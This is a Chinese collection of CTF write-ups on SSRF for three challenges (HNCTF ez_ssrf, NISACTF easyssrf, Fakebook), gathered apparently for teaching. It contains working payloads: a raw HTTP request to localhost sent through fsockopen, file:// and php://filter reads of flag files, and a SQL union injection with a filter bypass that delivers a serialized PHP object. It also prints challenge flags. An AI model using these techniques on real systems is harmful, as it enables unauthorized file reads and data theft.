SSRF - 服务端请求伪造 - 题目集
收集了一些适合讲解与训练的题目
对网上师傅的 WP 做了一些小修改,如有侵权联系我删除
SSRF
关键点:信息收集 (内网扫描等)
理解:一层 NAT/JumpServer/Proxy
视频资料:https://www.bilibili.com/video/BV11N4y147nX
靶场通关:
[] https://www.sqlsec.com/2021/05/ssrf.html
[] https://chenlvtang.top/2021/10/09/%E8%B7%9F%E7%9D%80%E5%9B%BD%E5%85%89%E5%B8%88%E5%82%85%E5%AD%A6%E4%B9%A0SSRF/
环境:Docker-Duoduo-chino/ssrf_vul
题目1
[HNCTF 2022 WEEK2]ez_ssrf | NSSCTF
[HNCTF 2022 WEEK2]ez_ssrf
WP
2023-08-10 23:00 By J0x5f0k3r
SSRF
- 访问
index.php
,得到php源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']); // 将通过GET方式的dataq进行base64解码
$host=$_GET['host']; // 通过GET方式将host值给到$host
$port=$_GET['port']; // 通过GET方式将port值给到$port
$fp=fsockopen($host,intval($port),$error,$errstr,30); // fsockopen套接字。接收$host主机参数,$port端口参数(先会被转为整数),$error为错误号,设为非0;$errstr (错误信息): 如果连接失败,这个参数会包含一个字符串描述的错误信息。30秒超时
if(!$fp) { // 如果$fp有错误,也就是返回的是非0,取反为0,执行退出
die();
}
else { // 如果$fp没有错误,返回的是0,取反为1真,执行下面的
fwrite($fp,$data); // fwrite函数接收$fp套接字和编码后的数据
while(!feof($data)) // feof判断是否达到数据末尾
{
echo fgets($fp,128); // 输出 fgets,fgets接收来自$fp的套接字,并且读取最大128个字节数
}
fclose($fp);
}
- 访问一下
flag.php
,得到
🥰localhost plz🥰
- 构造payload:
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDoxMjcuMC4wLjENCkNvbm5lY3Rpb246IENsb3NlDQoNCg==
- 最后使用GET传递参数
http://node5.anna.nssctf.cn:28828/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDoxMjcuMC4wLjENCkNvbm5lY3Rpb246IENsb3NlDQoNCg==
- 具体攻击代码
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out.="Host:127.0.0.1\r\n";
$out.="Connection: Close\r\n\r\n";
echo base64_encode($out)."\n"; // 这里\n是为了防止有额外字符,当然也可以在zshrc中添加PROMPT_EOL_MARK=''去除
// R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDoxMjcuMC4wLjENCkNvbm5lY3Rpb246IENsb3NlDQoNCg==
fsockopen()
函数是用于建立一个 socket 连接 (RAW)
fwrite
将 data 写入当前会话
可以构造一个请求头,读取服务器本地文件
GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive
payload:
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
题目2
[NISACTF 2022]easyssrf
WP
文章列表 | NSSCTF
NSSCTF | 在线CTF平台
打开之后随便输入一个网址然后 CURL,发现显示出该网址的内容
输入:
http://127.0.0.1/test.php
http://127.0.0.1/test.txt
均显示404
输入
file:///flag
显示:
都说了这里看不了flag。。但是可以看看提示文件:/fl4g
输入:
file:///fl4g
显示:
file:///fl4g
的快照如下:
你应该看看除了 index.php
,是不是还有个 ha1x1ux1u.php
访问:
http://node2.anna.nssctf.cn:28560/ha1x1ux1u.php
显示:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}
//flag in /flag
echo file_get_contents($file);
用 filter 伪协议读取根目录下的 flag
http://node2.anna.nssctf.cn:28560/ha1x1ux1u.php?file=php://filter/read=convert.base64-encode/resource=/flag
显示:
TlNTQ1RGezE3MDcxOWU4LTNjZWEtNDYyYi1iYzRjLThmNWE1ZmJhZWU0MH0K
base64 解码后获得 flag
不加 convert.base64-encode
也能顺利读取 flag
题目3
[网鼎杯 2018]Fakebook v2ish1yan的WriteUp
2022-10-07 17:47 By v2ish1yan
WP
- ssrf
- sql 联合注入
- php 反序列化
进去看到如下界面

join 功能可以注册,login 用来登录
先扫一波目录,发现存在 robots.txt

访问 robots.txt
得到 user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
经过测试,发现这里的 isValidBlog()
在 join 里的 blog 栏进行功能的实现,过滤了 file://
,同时这里给的是一个 class
, 联想到 PHP 反序列化
这里的 get()
是在访问 blog 的时候实现功能
随便注册一个,然后在展示栏里看到 ?no=1
目标URL:
view.php?no=0
参数 no
:可能是一个数字型参数,用于查询数据库。
测试发现存在数字形注入,且会回显

测试出有4个字段( order by 5
报错,4 pass)

尝试联合注入
union select
会被过滤
使用 union/**/select
绕过
发现显错位为第二位

查库名
union/**/select 1,database() --+
?id=-1 union/**/select 1,user() --+
然后查表
view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
得到 users
查字段
view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
得到 no,username,passwd,data
查看 data
http://node4.anna.nssctf.cn:28447/view.php?no=0%20union/**/select%201,group_concat(data),3,4%20from%20users
发现 data
数据是以序列化格式存在的,且在后面发现其报错是 Trying to get property of non-object(正在尝试获取非对象的属性)
就是要让我们传对象,且爆出了路径(常规web server中间件路径)
所以可能在这里进行了反序列化

猜测 flag
为 flag.php
,且在当前路径下
同时 curl 存在 ssrf,可以使用 file://
协议读取文件内容
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
构造序列化
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
// $a = new UserInfo();
// $a->name = "duanduanduan";
// $a->age = 0;
// $a->blog = "file:///var/www/html/flag.php";
// $b=serialize($a);
// print_r($b);
// 会报错, 带参数的构造函数,在实例化时需要传入参数
$a = new UserInfo("duanduanduan", 0, "file:///var/www/html/flag.php");
$b=serialize($a);
print_r($b);
?>
或者
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
echo serialize(new UserInfo());
?>
得到
O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
因为他是先查后反序列化(因为上面有报错)所以我们同样使用联合查询,将序列化内容放到相应(4)的字段,就可以得到 flag.php
的内容
完整 Payload:
view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
整体 SQL 剖析
SELECT * FROM users WHERE no = 0 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
Payload注入
union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
union/**/select:绕过union select的过滤。
1,2,3:联合查询的占位符,用于填充字段。
'O:8:"UserInfo":...:一个序列化的PHP对象,作为联合查询的第四个字段。
查看源码,得到
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiTlNTQ1RGe2U4M2VmNTExLTEzNzctNGJhOC04ZDk0LWU5YzM5NDk0ZTY5ZH0iOw0KZXhpdCgwKTsNCg=='>
将 base64 解码得到 flag
NSSCTF{e83ef511-1377-4ba8-8d94-e9c39494e69d}